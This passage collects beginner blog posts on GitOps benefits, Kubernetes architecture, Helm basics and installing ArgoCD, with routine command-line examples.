![gitops flow](/img/blog/gitops-demystified/267b6174-db22-4eb4-89d0-86129ebbf4e5.png align="center")

<center>GitOps flow: pull-based, changes pulled from repository and applied by software agent which is on the cluster. </center>

### Why GitOps?

It's important to weigh out the benefits and drawbacks of any adopted framework before riding the wave and then wondering what has ever got you in that mess in the first place. So by now, you might be wondering, why do we even need GitOps? CI/CD did the job, Kubernetes is complicated enough without introducing a new framework. Well, that would be very valid if we live in an ideal world, but if I've learned anything during my time working with Kubernetes, it's that Murphy's law is real.

> "Anything that can go wrong will go wrong." - Murphy's Law.

A namespace is bound to go mysteriously missing, or someone is going to modify something on the cluster and forget to commit it to git, mistakes are inevitable, and it's good to be proactive.

![](/img/blog/gitops-demystified/deac26ab-aba8-4781-b9f4-588d248290aa.png align="center")

So here are just some of the benefits of GitOps:

* Easier and quicker error handling and recovery.
    
    Imagine you're playing around in the cluster - as we all do - and you accidentally modify or completely remove a resource without noticing, GitOps will save your life. The software agent will pick up on the difference between the desired state of the cluster defined in the git repository and the actual state of the cluster and will automatically reconcile the state of the cluster to match the desired state and undo whatever changes you didn't intend to introduce.
    
    Now imagine another scenario, where the resource you apply introduces an unintended bug. If you're using GitOps, you'd be pushing changes simply by pushing your commits, so reverting changes would be as easy as a simple `git revert`.
    

Beyond recovering from disasters, a lot of perks come with adopting GitOps

* Deploy faster and more often.
    
    GitOps really delivers on the speed of application delivery. Once the new feature is developed and tested, there is no "post merge" step to deliver, once you merge your latest changes and push those commits to the branch being synced to the cluster, changes are automatically pushed and applied.
    
* Self-documenting deployments and shared knowledge in the team.
    
    Another cool feature that we end up with when using GitOps is that the state of the cluster is directly reflected by the git repositories. So the entire development team can easily find out exactly what is deployed at any point in time just by checking the repo. Developers no longer have to access the cluster to find out which version of a certain helm chart is deployed or if their latest release has been deployed yet or not. Additionally
    
* Easier credential management.
    
    Because application delivery is now pull-based, we no longer have to give our CI server full access to the cluster to apply changes as we did before GitOps. And by extension, the same applies to giving cluster access to developers. Creating, updating or deleting resources can now be managed entirely through git.
    

---

Now that you know some of the benefits of GitOps, you can start evaluating whether it's for you or not. If you're just one or two developers working on a non-critical test cluster, you may not need GitOps, but you may start considering implementing it when the team and/or applications start to scale.

![](/img/blog/gitops-demystified/612c7b62-9c6b-43d9-9051-c5f8de65b1a1.png align="center")

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Understanding the Architecture of Kubernetes: A Beginner's Guide

- Canonical: https://blog.kubesimplify.com/understanding-the-architecture-of-kubernetes-a-beginners-guide
- Published: 2023-01-30

Kubernetes is a powerful container orchestration system that has taken the world of cloud computing by storm. With its ability to manage and scale containers across multiple hosts, Kubernetes has become the go-to platform for running containerized applications in production. In this blog post, we'll take a closer look at the architecture of Kubernetes and how it works to manage and scale containerized applications.

Take a closer look at the below diagram (especially the arrows & lines). We'll take a closer look at what these arrows represent, what is an API server, what is the line that is pointing to the API server from Kubelet, what is the difference between the control plane & worker node, why is there a need for a control plane and many more such questions shall be entirely answered by the end of this blog.

![](/img/blog/understanding-the-architecture-of-kubernetes-a-beginners-guide/a65c7c62-463b-49dc-8783-47babbbcef4e.png align="center")

Before understanding the architecture, let's first look at the terminologies used widely in the Kubernetes ecosystem.

1. **Node:** A Node in Kubernetes is a representation of a single machine in your Kubernetes cluster. In production, a node will most likely be a physical machine at a data center or a virtual machine hosted on the cloud.
    
2. **Pods:** Kubernetes does not run containers directly. Instead, it runs containers inside a spherical body called Pods.
    

* Inside your Node, runs the pod. Inside your Pod, runs the containers. Inside your container, runs the application.
    
    ![](/img/blog/understanding-the-architecture-of-kubernetes-a-beginners-guide/0e2a2c8a-e26e-4fd3-8965-f0d53907c441.png align="center")
    

**Cluster:** It is a group of nodes, both physical & virtual, which is used to run the containerized application.

* Let's suppose I've 3 nodes that are used to run a containerized application. The grouping of all these nodes to create a more powerful machine is what we call a cluster.
    
    ---
    

Let's try to understand the architecture of Kubernetes - what is happening behind the scenes?

![](/img/blog/understanding-the-architecture-of-kubernetes-a-beginners-guide/a65c7c62-463b-49dc-8783-47babbbcef4e.png align="center")

Look at the above image carefully. We've grouped three nodes (1 Control plane & 2 worker nodes) which is called a Kubernetes cluster. You can create as many nodes as you wish, depending on the application requirement.

In any Kubernetes cluster, two types of nodes are present:

1. One or more **Control Plane nodes** (also called a Master node)
    
2. One or more **Worker nodes**
    

Now if you look above, you'll find that each node is having some components associated with it. The Control Plane node has some components such as API server, Scheduler, etc. whereas Worker nodes have some components such as kubelet, kube-proxy, etc. We'll take a look at the role of each component in a specific node.

The worker nodes are responsible for running your application (as you can see pods are present inside the worker node) whereas the control plane node is responsible for managing your cluster operations such as starting the cluster, adding new nodes to the cluster, removing pods, scaling pods and much more.

Hence without a control plane node, your Kubernetes cluster won't work. It is important to keep the control plane running at all costs.

Let's understand the usage of each component of the control plane

1. **API Server:** This is the brain behind all the operations in a Kubernetes cluster. To interact with the cluster, all the requests are sent to the API server. The API Server intercepts RESTful calls from users, administrators, developers, operators, and external agents, then validates and processes them. Whenever a request has been sent to the API server by the user, the API server performs three tasks:
    
    * Authentication: Authenticates the user
        
    * Authorization: Authorizes the request made by the authenticated user (using RBAC)
        
    * Admission control policy: applies certain rules on Pods to run
        
2. **Scheduler:** The main role of the scheduler is to assign the pods to the nodes. Let's suppose, you request the API server via the command line mentioning running a pod (or a container). That request will be received and forwarded to the scheduler after authentication, authorization & admission control policy so that the scheduler can find the best node (worker node) to run a pod inside of it.
    
    The scheduler determines the valid nodes for the placement of a node in the scheduling queue, ranks each node based on resources available and required, and then binds the pod to a specific node.
    
3. **Controller Manager:** The controller manager is the component of the Kubernetes control plane node that regulates the state of the Kubernetes cluster by running controllers or operators. Controllers are watch-loop processes that compare the cluster's desired state with the cluster's actual state. But where does this actual state being stored? Etcd store.
    

**Key-Value data store(etcd):** All the cluster-related information is stored inside [etcd](https://etcd.io/). It is important to note that the application data is not stored in the etcd store. New data is written in the etcd store by appending and not by overriding. Obsolete data (incorrect data) is compacted (or shredded) periodically to minimize the size of the data store. etcd is based on [*Raft Consensus Algorithm*](https://en.wikipedia.org/wiki/Raft_(algorithm)). Remember, when we discussed above, that the scheduler selects a node to run a pod inside of it? Here's the actual process that happens:

* A request is sent by the client to the API server to run a pod
    
* API server validates the user & request
    
* The request is passed to the scheduler to select a node.
    
* After receiving the request, the scheduler sends a request to the API server to get the cluster-related information like resources available etc.
    
* **API server is the only component that can read and write data in the etcd store. No other component can connect directly with the etcd store.**
    
* API server after receiving the information informs the scheduler
    
* Based on the information received by the API server, scheduler binds the pod to a node.
    

Now you might ask me, "Does this mean that pod is running?"

The answer is No.

Till this time, the correct node has been selected on which a pod should run but a Pod is not running yet.

1. **Cloud Controller Manager(CCM):** The CCM is responsible for running the controllers or operators to interact with the underlying infrastructure of a cloud host provider when nodes become unavailable.
    

Now try to go through these control plane components once again and then move forward.

It's time to understand the usage of each component on the worker node:

A worker node provides an environment to run a containerized application. The components present inside the worker node are:

* Kubelet
    
* kube-proxy
    
* container runtime
    
* Addons or DNS
    

1. **Container runtime:** Although Kubernetes is regarded as a “container orchestrating tool” it cannot run containers directly. Hence, a container runtime is needed on a node where a pod is scheduled to manage a container's lifecycle. It is important to note that **container runtime are present on both nodes - the** **control plane and worker.** Kubernetes supports several container runtimes, which are mentioned below:
    
    * CRI-O
        
    * containerd
        
    * Docker
        
    * Mirantis Container Runtime
        
        ![](/img/blog/understanding-the-architecture-of-kubernetes-a-beginners-guide/7cd73c27-8fc2-4286-abe8-e2e45565a251.png align="center")
        
2. **Kubelet:** Like container runtime, kubelet is present on both the nodes - the control plane and the worker node. To run a pod that is present on a worker node, there should be some component that must communicate with the control plane to run a pod. Kubelet is that component. The Kubelet of each node interacts with the control plane and waits for the order from the API server to run a Pod. Once the kubelet of a node receives the orders from the API server, it interacts with the container runtime of its node through a plugin-based interface (CRI shim). Hence, a pod starts running now.
    

In case you got confused, here's the summary of the internal working of Kubernetes components: **Don't miss this!**

* The user sends a request to the API server to start a Pod
    
    ```apache
    kubectl run <pod-name> --image=<image-name>
    ```
    
* This request is now being validated by the API server.
    
* API server forwards this request to the scheduler on the control plane.
    
* In return, Scheduler requests cluster-related information from the API server since API server is the only component that can interact with etcd store.
    
* API after receiving this request from the scheduler reads the data from the etcd store and provides it to the scheduler.
    
* The scheduler after receiving the information assigns a pod to a node based on the information and conveys this message to the API server.
    
    *"Hey API server, the pod should run on node-01"*
    
    *\- scheduler*
    
* API server assigns a specific node's kubelet to start a pod.
    
* On receiving the orders from the API server, kubelet of that node interacts with the container runtime via CRI shim and now a pod has started running on a specific node. While the Pod is running, the controller manager checks whether the desired state of the cluster is in matches the actual state of the Kubernetes cluster.
    
    ![](/img/blog/understanding-the-architecture-of-kubernetes-a-beginners-guide/aa7ba8d4-9803-404f-8a77-3112f03fba25.png align="center")
    

---

Now, you might ask me what is the role of kube-proxy & addons?

**Kube-proxy** (runs on each node) is responsible for networking rules in a cluster. For eg.

* Container-to-container communication inside Pods
    
* Pod-to-Pod communication on the same node and across cluster nodes
    
* Pod-to-Service communication within the same namespace and across cluster namespaces
    
* External-to-Service communication for clients to access applications in a cluster.
    

**Addons** are cluster features that are implemented through 3rd-party pods and services. For eg., a Dashboard is a general-purpose user interface for cluster management via web UI.

Finally, look at the arrows in the topmost image and let me know if you understood what they were referring to.

If you've read up to here, Congratulations!

Feel free to reach out to me on [Twitter](https://twitter.com/Nitishtwt06) or [LinkedIn](https://www.linkedin.com/in/nitishkumar06/).

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Introduction to Helm!

- Canonical: https://blog.kubesimplify.com/introduction-to-helm
- Published: 2023-01-23

# Why Helm?

Kubernetes is awesome at managing complexities and we humans often tend to struggle while dealing with complexities. An application deployed on a Kubernetes cluster can be very complex to handle. A typical application made up of a collection of objects needs to be interconnected to work. Let us take an example of a simple WordPress site that might need deployment to deploy the pods that you want to run such as MySQL web servers, a persistent volume(PV) to store the database, PersistentVolumeClaim(PVC), a Service to expose the web server running in a pod to the internet and a Secret to store admin credentials & maybe other things like periodic backups, jobs and so on.

![](/img/blog/introduction-to-helm/Oo9KFaH1s.png align="center")

For every Object, we might need a separate YAML file, and then we apply kubectl apply to get these objects created which can be a tedious task and this even not might be the end of it if we download these YAML files from a remote repository and we might want to change its default settings. Assuming months went by and we might want to upgrade some components in our application, we'll have to edit all those YAML files with great care again! Sometimes, if we might want to delete the application, we'll need to remember each object that belongs to our application and delete them one by one. Isn't it such a tedious task? Some of you might think, It will be better if we combine all YAMLs into a single YAML and be done with it. Well, that's true but it will become even harder for us to look for the editing purpose in future changes which could be up to, for instance,25-30 pages of a YAML file. In separate YAML files at least we'll be able to easily categorize them into different categories.

## Enters Helm!!

Helm changes the entire scenario! Kubernetes doesn't care about our application as a whole. All it knows is that we have created different objects in its cluster. It treats each component of the WordPress application as a separate individual entity and doesn't know that these are the components of the WordPress application! However, Helm is built from the ground to know about such stuff. That's why it's sometimes called **Packet Manager for Kubernetes**. It looks at those objects as a part of a big package as a group. Whenever we want to perform an action, we don't tell Helm the objects it should look after rather we tell Helm it belongs to the WordPress package, and then on the package name, it then knows what object it should edit even if 100s of objects belong to that package!

  
We all have played games such as FIFA, GTA, etc which contained different types of files such as audio, saved, visuals, etc. Fortunately, we didn't have to go through the horrors of installing each different component individually instead we execute the game installer and specify the directory where we want to install it and it does the rest. Helm does a similar thing, more of the YAML files and the Kubernetes objects that make our application.

```plaintext
$ helm install wordpress
```

Using Helm, we install our whole application using a single command even if it needs hundreds of objects. Helm proceeds to automatically add every necessary object to Kubernetes without bothering us about the details. We can customize the settings for our application or package by specifying desired values at the install time but instead of having to edit multiple values in multiple YAML files, we have a single location where we can declare every custom setting. In a file like values.yaml, we can change the size of persistent volumes, choose the name of our WordPress website, admin password, settings for the database engine, and so on. We can upgrade our application with a single command.

```plaintext
$ helm upgrade wordpress
$ helm rollback wordpress
$ helm uninstall wordpress
```

Helm will know what individual objects need to change to make the desired changes happen. Helm also keeps track of all the changes made to the app files and that allows us to roll back to the previous so-called revision. We use a single command to uninstall our app and it keeps track of all the objects used by each app so it knows what to remove. We don't need to remember each object that belongs to one of our apps anymore or use ten separate commands to remove everything. Helm does all the work.

## Installing and configuring Helm!

Before installing helm, we must have a functional Kubernetes cluster and kubectl installed and configured on your local computer with the right login details set up in the kubeconfig file to work with the intended Kubernetes cluster. You can also try setting up Helm on an already set-up Kubernetes cluster on Killercoda or setting up Minikube which is a lightweight Kubernetes implementation that creates a VM(virtual machine on your local machine and deploys a simple cluster containing a single node).

%[https://killercoda.com/playgrounds] 

Helm can be installed on Linux, Windows, or Mac OS systems. We will go over the instructions for installing Helm on Linux systems in this blog.

* Systems with snap can install helm using the snap install helm command. Use the classic option to install a more relaxed sandbox that gives the app a bit more access to the host system rather than strictly isolating it to its separate environment. This way Helm can easily access the kubeconfig file in your home directory so it knows how to connect to your Kubernetes cluster
    

```plaintext
$ sudo snap install helm --classic
```

* For APT-based systems such as Debian or Ubuntu, Follow the instructions to add the key and sources list before installing Helm.
    

```plaintext
$ curl https://baltocdn.com/helm/signing.asc | gpg --dearmor | sudo tee /usr/share/keyrings/helm.gpg > /dev/null

$ sudo apt-get install apt-transport-https --yes

$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/helm.gpg] https://baltocdn.com/helm/stable/debian/ all main" | sudo tee /etc/apt/sources.list.d/helm-stable-debian.list

$ sudo apt-get update
$ sudo apt-get install helm
```

* And for PKG, run the package install helm command
    

```plaintext
$ pkg install helm
```

* For installing Helm on Windows and Mac OS Refer to the [Official Helm documentation](https://helm.sh/docs/intro/install/)
    

# Helm 2 vs 3

Helm 1.0 was released in Feb 2016, 2.0 in Nov 2016, and 3.0 in Nov 2019. Since the project was launched, Helm has gone on to better as Kubernetes itself was improving. So during these things, There have been significant changes in Helm *2.0* and *3.0*

## Helm 2

Helm has a CLI client installed on your local machine that helps to perform Helm-specific actions against your Kubernetes cluster. When Helm 2 was launched, Kubernetes lacked features like RBAC(Role Based Access Control) and Custom Resource Definitions. To allow Helm to perform its actions, an extra component **Tiller** is installed in the K8s cluster. So, Whenever a user wanted to perform some Helm-specific action, It communicates with the tiller that is running on some server which in turn communicates with the K8s cluster and proceeds to take the action requested by the user. So, Tiller being the middleman adds complexities to the cluster and gives rise to security concerns. By default, Tiller has the privilege to do whatever it wanted. This is good as it allows us to make all necessary changes in a K8s cluster to install **charts** (Discussed Later). But this was also bad since anybody with Tiller access can do whatever they want.

After the introduction of **Role** **Based** **Access** **Control (RBAC)** and **Custom** **Resource** **Definitions** in Kubernetes, The need for **Tiller** decreased, so It was removed entirely in Helm 3. Now, nothing was sitting between the Cluster and Helm CLI, and security improved with RBAC as users can be limited with what they do with Helm. Before RBAC, we had to set these limits in Tiller which was not the best option but with RBAC built from the ground up to fine-tune permissions in K8s, it is pretty straightforward to do. As far as K8s is concerned, It doesn't matter if you are trying to make changes by accessing the cluster with **kubectl** or with **helm** commands, The user requesting the changes has the same **RBAC** allowed permissions whatever tool they use. That's a big difference between Helm 2 and 3 where Helm 2 uses Tiller while Helm 3 simplifies it by removing Tiller & integrating it with Kubernetes.

### 3-Way Strategic Merge Patch

Helm has a very cool snapshot feature. Let's take an example of installing a WordPress website using Helm. It'll create revision number 1 for this install. Then you upgrade your site to an updated version by changing the image, Helm will take us to snapshot number 2 which will be the exact state of the Kubernetes cluster at that moment in time. If there is a need you can return to snapshot 1 by creating a new snapshot 3 which will be in the same state as snapshot 1 which was at the start of the installation of the WordPress website. Helm 2 was less sophisticated when it came to how we did such rollbacks. When a rollback command is issued, Helm compares the current chart which is the chart that has the current WordPress website image 5.8 in it with the previous chart, which is the chart that has WordPress 4.8 image in it, and concludes that they are different so it applies the original chart to revert the image to 4.8

![](/img/blog/introduction-to-helm/8f40c1f8-f6f3-409c-96ee-bde57108c389.png align="center")

Let's consider a situation where we create Snapshot 1 just like above but for upgrading to a newer image with the **kubectl set image** command, so the application gets updated and this is done without using Helm and this does not create a Snapshot in Helm because the change was not made using Helm. When we know rollback, Helm compares the current version with the previous version. Since there is only one revision, Helm does not detect any changes, so it does not roll back or make any changes to the deployment. In this case, this didn't help us as the user change made through **kubectl** is still active.

![](/img/blog/introduction-to-helm/e02038ea-24f5-436c-a7d7-5671fb99a32a.png align="center")

On the other hand, Helm 3 is more intelligent. It compares the chart currently in use if we had created a revision that is which we didn't, the chart we want to revert and also the Life state, how our Kubernetes objects look like, and their declarations in the YAML form. This is where the fancy name **3-way Strategic Merge Patch** comes from. By also looking at the live state, it notices the **image version is 5.8** but the image in Snapshot 1 that we want to revert to is **4.8**. So, it makes necessary changes to come back to the original state.

![](/img/blog/introduction-to-helm/4535a8ec-5542-4173-b88c-88e411486980.png align="center")

Besides rollbacks, there are things like upgrades where Helm2 was also lacking. For example, you want to install a chart but then you make some changes to some of the Kubernetes objects installed. It all works nicely until you want to perform an upgrade. Helm 2 looks at the old chart and the new chart you want to upgrade to and all your changes will be lost since they don't exist in the new chart whereas Helm 3 looks at the chart as well as the Live State of the cluster and notices the changes made by the user and make changes preserving the additional tweaks made by the user.

# Helm Components

Let's get familiar with the components in Helm, their general structure, and the concepts that we are going to be working with it. We have the **Helm** **Command** **line** **Utility** **(Helm CLI)** that we'll be using to perform Helm actions such as installing charts etc. **Charts** are collections of files and they contain all the instructions to be known to create a collection of objects that you need in a Kubernetes Cluster. By using charts and adding the objects according to the specific instructions in the chart, Helm installs the application in your Kubernetes Cluster. When a **Chart** is applied to your cluster, a **Release** is created. A **Release** is a single installation of an application using a Helm Chart. Within each release, You can have multiple **revisions (snapshots of an application).**

![](/img/blog/introduction-to-helm/00cc0e82-01b0-4471-8f6a-7f5720bf8444.png align="center")

Every time a change is made to the application such as an upgrade of the image or change of replicas or configuration objects, a new revision is created. Just like how we can find all **Docker Images** at **Docker Hub**, In the same manner, we can find **Helm** **Charts** in a public repository. We can easily download publicly available charts which are readily available and we can use them to **Deploy** **Applications** on our cluster. And finally, to keep track of what it did to our cluster such as the releases that it installed, charts used, revision state, etc. Helm needs a place to save this data. This data is known as **Metadata (data about data)**. It wouldn't be too useful if Helm saves this on our Local Computer. If another person needs to work with our Helm Releases through Helm, he would need to have a copy of this data. Helm does the smart thing by storing this data in our Kubernetes cluster as **Kubernetes** **Secrets**. This way data survives as long as the Kubernetes cluster survives, and everyone from a team can access it. They can perform different Helm actions to it. The punchline is that Helm will know about everything you did to cluster and will be able to keep track of every step you do since it has its metadata always available

### Charts

Charts are collections of files. They contain all the instructions that **Helm** needs to be able to create the collection of objects that you need in your Kubernetes cluster. By using these Charts and adding the objects according to the User's modification, Helm installs the application in your Kubernetes cluster.

![](/img/blog/introduction-to-helm/ba9a9fec-b74c-4055-ab42-71f1c19b2a84.png align="center")

Let's take an example of a simple Hello World application which is a simple Nginx based web-server and a service to expose it. In this, we have two objects, a **Deployment,** and a **Service**. In the Deployment YAML file, you'll notice that **images and replicas** are specified in a different format. This is known as **templating. The values that go here a part of another file called values.yaml file.**

In helm Chart, we'll be often interacting with this special file(values.yaml). Most of the time, we won't have to build a chart ourselves. We simply have to download it from an online public repository. We'll just have to configure the package that we installed through that chart. The **values.yaml** is the place where the configurable values are stored. Most of the time, this will be the only file you'll have to modify to customize the deployment of the application for your needs! This is like the setting file for Helm Chart.

![](/img/blog/introduction-to-helm/5fd51414-db54-4b29-b810-ff21cf352eaf.png align="center")

When a Chart is applied to your cluster, a release is created. One question might arise! Why the need for an additional item? Why can't we say we just say we installed a chart to Kubernetes? One simple reason why it makes more sense to have releases based on charts is that we can install multiple releases on the same chart so we can launch, for example, a second WordPress site with a command such as a **helm** **install** **my-second-site** **bitnami/wordpress**. Since they are two different releases, they can be tracked separately! Even though they are based on the same chart as releases, they are two entirely different entities. Now, this can come in handy in a lot of situations. Let's take an example of a WordPress website that can have a release for customers' use and another release for developers who can internally add features without breaking the main website. Since the two releases are based on the same chart, once they successfully integrate it into the development side, they can transfer it to the main website since it should work exactly in the same way as both the websites are clones and built the same way!

Thousands of charts are readily available at different Helm repositories across the world. Different providers are hosting Helm repositories such as Appscode, Community Operators, True Charts, Bitnami, etc. All of these repositories have listed their charts in a single location known as **Helm** **Hub** or **Artifact** **Hub.**

## Working with Helm: Basics

```plaintext
$ helm --help
> This command will list helpful information on how to execute a particular command in a summarized manner. 

$ helm restore --help 
>  We can also use this to look for subcommands
```

### Launching a WordPress website in a Kubernetes Cluster

![](/img/blog/introduction-to-helm/994eb185-d7aa-4d2f-9d05-49bbe9a2167c.png align="center")

Downloading the WordPress chart from **Artifact** **Hub which has official mentioned before it as it would be by the official developers of that website!**

* We can search for the WordPress chart through Helm CLI also
    

```plaintext
$ helm search wordpress --search_where
> In search_where we have to mention where we have to look for this. Specify the hub or repo. This will list all the charts listed at artifacthub.io
$ helm search hub wordpress
```

* Once Chart is Identified, we can deploy the application in two commands which are listed on the README file of that chart!
    

```plaintext
$ helm repo add bitnami https://charts.bitnami.com/bitnami
$ helm install my-release bitnami/wordpress
```

Now once the chart has been deployed successfully! It is deployed as a **release**

* To **list**, all existing releases, Run the following command! This is very useful not only to see what is being installed but also which hasn't been updated in a long time.
    

```plaintext
$ helm list
```

* To **delete** all traces of this app. Imagine doing this by removing every file one by one which will be a tedious task to get rid of all WordPress elements! But with Helm can be done by a single-line command. We can see the power of Helm as a **Package** **Manager for Kubernetes**
    

```plaintext
$ helm uninstall my-release
```

* Some Other commands while working with the helm
    

```plaintext
$ helm repo
> This command consists of multiple subcommands to interact with chart repositories. It can be used to add, list, remove, and index chart repositories

$ helm repo list
> Will list all the existing repositories

$ helm repo update
> This command is somewhat equivalent to what a: sudo apt-get update : command does on a Linux OS
```

There is much more in Helm to explore! but keeping this blog a little short and quite explanatory for beginners to get a taste of **helm** as a **Packet** **Manager** **for** **Kubernetes**

For more exploration in Helm: Checkout the official [documentation](https://helm.sh/docs/) of Helm

**Credits for creating this Blog**

* **KodeKloud's Helm for Beginners Course By Mumshad Mannambeth**
    
* **Helm's official documentation**.
    

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# An overview of GitOps and ArgoCD.

- Canonical: https://blog.kubesimplify.com/an-overview-of-gitops-and-argocd
- Published: 2023-01-16

## What is Gitops?

The basic definition of Gitops is "Infrastructure as Code" done right. Now, what is IaC (Infrastructure as code)? IaC means to define the whole infrastructure into code, not only infrastructure but also Network, Security, Configuration, and Policy.

![](/img/blog/an-overview-of-gitops-and-argocd/152cf9c5-c697-47a3-82d2-e56331108023.png align="left")

### IaC done right.

Now, what does "done right" mean in the definition of Gitops? Usually, we use IaC the wrong way. We go on to save the code in our local systems or use version control so that other members of the team or any other individual can collaborate. This might be a headache for you as everyone would be pushing their changes to the main branch directly without any checks or testing.

Things get even more troublesome when trying to push this code into the environment. You'll have to first test every change locally, verify that it doesn't break anything, and then push it to production. Thus, this process of manually testing and deploying the code is very inefficient and time-consuming.

This is where GitOps come into play. In this method, we have our infrastructure as a code and a CI/CD pipeline, in which we treat the infrastructure code the same as the application code.

In the GitOps method, the IaC is hosted on a git repository. In this method, a change is made in the form of a pull request to the repository rather than pushing it to the main branch directly.

  
After a change is made, it undergoes a CI(Continuous Integration) pipeline where automatic tests take place. After passing through this CI pipeline, any senior engineer, tester, or repository maintainer can approve the changes and allow the pull request to merge into the main change. This way there is no chance of any error or any other security issue.  
After merging it into the main branch, the change is directly deployed to the environment with the help of a CD(Continuous Deployment) pipeline.

Continuous Deployment can be done in two ways-

* Push Base Deployment: This is the traditionally used way by various tools like Jenkins, and Gitlab. Here, the pipeline executes a certain command to push the code to the environment.
    
* Pull Base Deployment: Here, we have an agent installed into our environment itself, which is linked to the repository itself. It keeps on checking for any change made to the repository and automatically pulls and deploys if there is any change.
    
    Tools that use the Pull Base Deployment are ArgoCD and FluxCD.
    

![](/img/blog/an-overview-of-gitops-and-argocd/f900ed31-3424-41d6-b35c-c96f3005bee7.png align="center")

![](/img/blog/an-overview-of-gitops-and-argocd/ed32e9ff-53e4-4e40-8f02-bcb629758734.png align="center")

# ArgoCD

ArgoCD is a continuous delivery tool that helps you to deploy your applications into multiple environment in a declarative and in the GitOps way.

### CD workflow without ArgoCD

Let's say we use Jenkins for the CI/CD pipeline. Now, when a new change gets committed into the main repository, it will undergo various builds and tests to test that it does not break anything. It might even build a new docker image. This whole process falls under the CI pipeline.  
Now Jenkins will push these changes to the environment using kubectl or helm or any other commands. I've stated the challenges we might face while any push-base deployment tool below:

1. The first challenge we face is to install tools like kubectl or helm.
    
2. The second challenge we might face is to provide Jenkins access to the Kubernetes cluster. If we are using EKS, we'll have to provide Jenkins access to the AWS. This might create a serious security risk.
    
3. The third challenge we face is that once Jenkins has deployed any change into the environment, it loses access to the cluster, making it impossible to check whether the change has been successfully deployed or not.
    

### CD workflow with ArgoCD

ArgoCD follows the GitOps principles, which means that it uses the pull-base deployment.  
ArgoCD is an agent which we install inside our Kubernetes cluster and then bind it to a git repository. ArgoCD will keep looking for any change in the repository and as soon as a change is made in the repository, ArgoCD will pull it and apply it to the Kubernetes cluster.  
Now, our configuration might contain more than just YAML files and might also contain secrets, services, ingress, hence it is a best practice to separate our application code and the configuration code into two different repositories.  
This way, there is would be no need to run the entire CI pipeline when there is a change to any service or any configuration.

This way, Jenkins will update the manifest file in the configuration repository and ArgoCD will auto fetch the change and apply it into the environment.

![](/img/blog/an-overview-of-gitops-and-argocd/a2eebf82-d67f-47a5-bac4-baf0eaa19e59.png align="center")

### Advantages of using ArgoCD

1. Everything is version controlled, means we can keep a check that who made which change.
    
2. We can easily rollback to any old state if anything breaks after applying any change.
    
3. Git is the single source of truth. Even if a change is made manually to the cluster, ArgoCD will keep a check on the desired state and the actual state. And since the actual state was changed, it will automatically roll back the changes made to the cluster. This way, ArgoCD keeps a check on both, the repository and the cluster itself.
    
4. Git allows us to set up access rules so that any team member can submit a pull request, while only senior members can merge. This way, we don't need to create ClusterRole and User resources in kubernetes.
    
5. Cluster disaster recovery: Suppose I have an EKS cluster in region 1-a and this cluster completely crashes, then I can make a new cluster and point it to the same git repository. This will create the same cluster with the same configuration as earlier.
    
6. We get a real time update of our application state even after the changes are made.
    

## ArgoCD Demo

### Configuring ArgoCD

ArgoCD is configured directly into the Kubernetes cluster itself, and it extends the Kubernetes API's with CRD's(custom resource definition). ArgoCD is installed in the Kubernetes cluster with the help of YAML file. In this file, we define which git repository should be synced with which Kubernetes cluster. It can be any git repository and any Kubernetes cluster rather, be it the cluster in which ArgoCD is installed or any other cluster that ArgoCD is managing.

If we have different cluster environments, such as deployment, staging, and production, then we deploy ArgoCD separately. All these environments are configured with one single git repository where all the configuration is stored.

### Installing ArgoCD into a k8s cluster.

* I am using minikube for a Kubernetes cluster, but you can use anything, be it either minikube or any cloud provider such as AWS, Civo, etc.
    
* Create an ArgoCD namespace.
    

```haskell
kubectl create namespace argocd
```

* Install the required services and application resources.
    

```haskell
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
```

* Run the following command to get the pods running inside the ArgoCD namespace.
    

```haskell
kubectl get pods -n argocd
```

The above should return the following code snippet.

```haskell
NAME                                                READY   STATUS    RESTARTS   AGE
argocd-application-controller-0                     1/1     Running   0          2m9s
argocd-applicationset-controller-74575b6959-v6nf5   1/1     Running   0          2m13s
argocd-dex-server-64897989f8-qxqsb                  1/1     Running   0          2m13s
argocd-notifications-controller-566bc99494-hmfzc    1/1     Running   0          2m12s
argocd-redis-79c755c747-524rj                       1/1     Running   0          2m12s
argocd-repo-server-bc9c646dc-9w5q8                  1/1     Running   0          2m12s
argocd-server-757fddb4d7-hgtp9                      1/1     Running   0          2m10s
```

### **Download the ArgoCD CLI**

* **Linux**
    

Using Homebrew.

```haskell
brew install argocd
```

Using Curl.

```plaintext
curl -sSL -o argocd-linux-amd64 https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64
sudo install -m 555 argocd-linux-amd64 /usr/local/bin/argocd
rm argocd-linux-amd64
```

* **Mac**
    

Using Homebrew.

```haskell
brew install argocd
```

Using Curl

```plaintext
VERSION=$(curl --silent "https://api.github.com/repos/argoproj/argo-cd/releases/latest" | grep '"tag_name"' | sed -E 's/.*"([^"]+)".*/\1/')
```

### Access the ArgoCD UI.

* Port-forwarding can also be used to connect to the API server without exposing the service.
    

```haskell
kubectl port-forward svc/argocd-server -n argocd 8080:443
```

The UI can then be accessed using [https://localhost:8080](https://localhost:8080)

### Login into the UI.

* Use `admin` for the username.
    
* Use the following command to get the password
    

```haskell
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d; echo
```

### Creating a new application

* You will see a UI like this, after logging in.
    

![](/img/blog/an-overview-of-gitops-and-argocd/9858ad4b-32aa-4a3f-b2c7-c2d27b37cec9.png align="center")

* Click on `+ New App` to create a new application.
    
* Enter the following details to create a new application. For this demo, I am using [https://github.com/argoproj/argocd-example-apps](https://github.com/argoproj/argocd-example-apps) for the repository URL and [https://kubernetes.default.svc](https://kubernetes.default.svc) for the Cluster URL.
    
    ![](/img/blog/an-overview-of-gitops-and-argocd/4b29ad34-e58b-45f9-b01f-e11f25f0e471.png align="left")
    

